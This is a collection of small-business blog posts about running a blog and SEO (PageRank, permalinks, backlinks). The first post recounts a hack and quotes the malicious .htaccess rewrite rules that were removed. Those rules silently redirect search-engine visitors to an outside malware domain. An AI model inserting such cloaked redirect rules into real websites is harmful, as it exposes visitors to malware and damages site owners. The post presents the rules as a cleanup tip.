As many of you were aware, freebloghelp.com was hacked last month. It has now been fixed but I just want to share with you how to solve the problem easily in the event it happens to you.

After the site was hacked, visitors would see a Malware warning from their browser. It wasn’t just this site, it was all the sites on the server, which included over a hundred of us in the same boat! Most smart visitors should have simply clicked the ‘Get me the eff outta here’ button. During that time, my Alexa ranking went from about 55k to 200k. Being blacklisted by Google was not fun either.

So after a little troubleshooting, I learned that my htaccess file was redirecting to ‘sokoloperkovuske.com’. All I did was remove the follow code from the htaccess file:

RewriteEngine On

RewriteOptions inherit

RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]

RewriteRule .* http://sokoloperkovuske.com/in.php?pp=110 [R,L]

After I did that, I requested an evaluation from Google and voila, I’m back!

The problem is that freebloghelp.com was in that limbo state for 3-4 weeks. Who knows what the long-term effects are and how the PR was affected. I guess we’ll know at the next PR update, which should be at least one more time in 2011.

The good news is that you now know where to look if the same thing happens to you and you can hopefully be back up and running within a day.

Oh, and in case you’re wondering, yes, I’d love to be locked in a room with the person responsible for just five minutes.

Has your site ever been hacked?

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If I gave every visitor just one guess, even though there are many amazing choices, I’m pretty sure an overwhelming majority of you would say that the most reputable company in the US is Google. And you would be right!

According to Harris Interactive, who surveyed 30,000 people and asked them to identify and rate companies, Google beat out other tech contenders like Apple, Amazon, Intel, Sony, and Microsoft. This was their 12th annual Reputation Quotient Survey.

Now what exactly does this mean to bloggers? Well, at a minimum it reinforces the fact that Google is the apple of the US visitors’ eyes. Despite all of their new ventures, Google’s core business is still its search engine, which is obviously the most trusted search source.

Although there are a plethora of metrics used today, such as Alexa, Complete, and Google PageRank (PR), I continue to use Google as a gauge to tell me how well my sites are faring. That means checking to see where I stand with the keywords that I’m looking for matches on. Of course, I keep my fingers on the pulse of each of my sites’ PRs as well since that’s what advertisers look for.

However, from the user perspective, the most important perspective, I want to ensure that my visitors get what they are looking for. I provide original content – articles that are typically hot topics for those looking to learn more about blogging and running websites, and making sure that the potential visitors can find me on Google.

Yes, I’m guilty. I totally ignore where my sites rank on Bing and Yahoo. I’ve always viewed it as if my sites are doing well on Google, the other search engines will surely be similar. And even if they’re not, Google is the one I care about the most anyway. I’m getting the biggest bang for my buck by spending my time checking to see my SERP on Google only.

How about you folks out there. Do you care about any other rankings other than Google’s?

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How many of you thought about what your permalinks, aka URLs, looked like when you first started your site? Usually this is a pretty low on the thought totem pole. However, once you’re up and running, have you ensured that you have went back to optimize your permalinks for past, present, and future?

I know I’ve mentioned it before as a blurb in one of my past articles, no doubt one about SEO, but this is a pet peeve of mine so I want to be loud and clear. Please use words in permalinks! In other words, freebloghelp.com/how-to-start-a-wordpress-blog is much better than freebloghelp.com/page90.

Not only is using words much friendlier than alphagarble (I should patent the use of that word) since it gives your visitors a good idea of what to expect but it’s also going to help your SEO. People who say that it doesn’t matter are fooling themselves.

Benefits of using words in permalinks

• Helps visitors understand what they’re clicking to
• Builds visitor confidence of the content of the link
• Allows visitors to remember easier if they want to come back (OK, it’s a stretch but it counts!)
• Makes good friends with search engines

Like anything else, you can intend to do well but royally screw up in the process. Please do not:

• Use generic names (e.g. page90.html or news070712.htm)
• Overuse keywords (e.g. make-money-online-mmo-blogging-blog.html)

What am I using? Personally, I love using a Custom Structure in WordPress. I simply go with /%postname%/ and my titles become my permalinks. I then shorten the name if I need to.

And yes, it certainly doesn’t hurt me that I’m also using words for my domain. Woohoo! How are your permalinks set up?

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Yup, that's Free Blog Help's home page PR.

Have you seen your new PageRank? Last week, I posted a timely article on the controversial possibility of the death of Google PageRank. To everyone’s pleasant surprise this weekend, Google blessed us by showing us their latest PageRank (PR) scores for our pages.

Look, many of you think I’m a PR fanboy. Honestly, I can’t even deny that I’m not. It makes me good money every month so there’s not much hate between my PR scores and me. I mean, just look at the handful of articles in the last few months about my professed love of Google PageRank:

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And those don’t even include the plethora of other PR articles that I wrote over the years, especially when I was posting a new article every day!

Remember, PageRank is updated constantly behind Google’s black hole. I thought I might have been able to squeeze out a PR6 home page (and perhaps I was there and dropped back down) but I’m very happy with a PR5 right now. And yes, I did it organically. No gimmicks. No paid services. No crazy juice exchanges.

So, how did your pages do? Did your home page go up or down? Tell us!

If you don’t have the PR toolbar or status bar, go check your PageRank below:

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Are you getting frustrated with Google’s failure to update us on our PageRank (PR)? Believe it or not, it has been eight months since the last time Google showed us the PRs to our pages!

In the past, Google was giving us updates every three to six months. Even though each pages’ PR is dynamic and constantly changing, we had to guess current PRs until Google shared their scores with us. It’s bad enough we couldn’t get real time PR but for the most part, we coped with waiting several months. Personally, it hurts me since I get many sponsor offers and my PR4 home page plays a big part in that. I believe my home page PR is likely PR5 or PR6 at this point. That would enable to me to charge double for each sponsored article, link, and ad!

As we approach a year without Google sharing an update, many naysayers are suggesting that PR is no longer the apple of Google’s eye, that Google is going to stop using PR all together, and PR is no longer credible due to Facebook and Twitter statuses showing up on search results.

I say they’re wrong! I can’t say for certain that Google won’t change how they’re using PR but it won’t go away. After all, PR is Larry Page’s baby (PageRank is named after him, not after web pages). The PR algorithm may get tweaked, the PR results may be weighed differently, or PR may be combined with other metrics. However, I’m in the camp that PR will never completely disappear in the foreseeable future.

What’s your opinion of Google’s failure to provide us with a more recent PR for our pages?

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Merry Christmas, Happy Hanukkah (very belated!), Happy Kwanzaa, or Happy Festivus! As I promised a few articles ago, my gift to you is posting your self-written promos! Sure, some where a bit longer than 20 words while others didn’t have very clear anchor text but here they are anyway.

Keep in mind that I am not endorsing any of these. They were provided by each author in his/her own words. Nevertheless, shameless self-promotion is appropriate every once in a while and this happens to be one of those times.

By the way, for those who didn’t understand the term, an elevator pitch is a short overview of you or your product/service. It’s called an elevator pitch because you’re supposed to be able to tell the story in about the time it takes to ride an elevator with someone. Kinda forces you to learn to be concise with your message, doesn’t it?

Your elevator pitches

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As I mentioned in my last article about gift giving to bloggers, there are many ways to give this time of year.

Here’s what I’m offering to the visitors for Free Blog Help. I’m giving a free self-plug and accompanying backlink to anyone who wants one. Keep in mind that this site currently has a PR4 homepage and subpages that range from PR0 to PR4. I believe this particular page will earn a decent PR that will give you a lifetime of PR juice.

Just follow these simple steps:

1. Post a comment on this article.
2. Send me an email at gyoung@freebloghelp.com (or use the contact form). This message should contain an elevator pitch for your site. That means you get 20 words and one backlink with your choice of anchor text.
3. Do this by December 20, 2010.

I will post an article with all the responses on, Christmas Day, December 25, 2010. I’ll leave this article up for as long as this site exists so you’ll always have a qualified backlink.

The great news is that I don’t have too many rules around this either. Your promo can be on any clean topic (please no adult sites). That means you can market your site, a product, a specific article… just about anything! Unless it’s something in extreme poor taste, anything goes. I’m curious to see who redeems this freebie!

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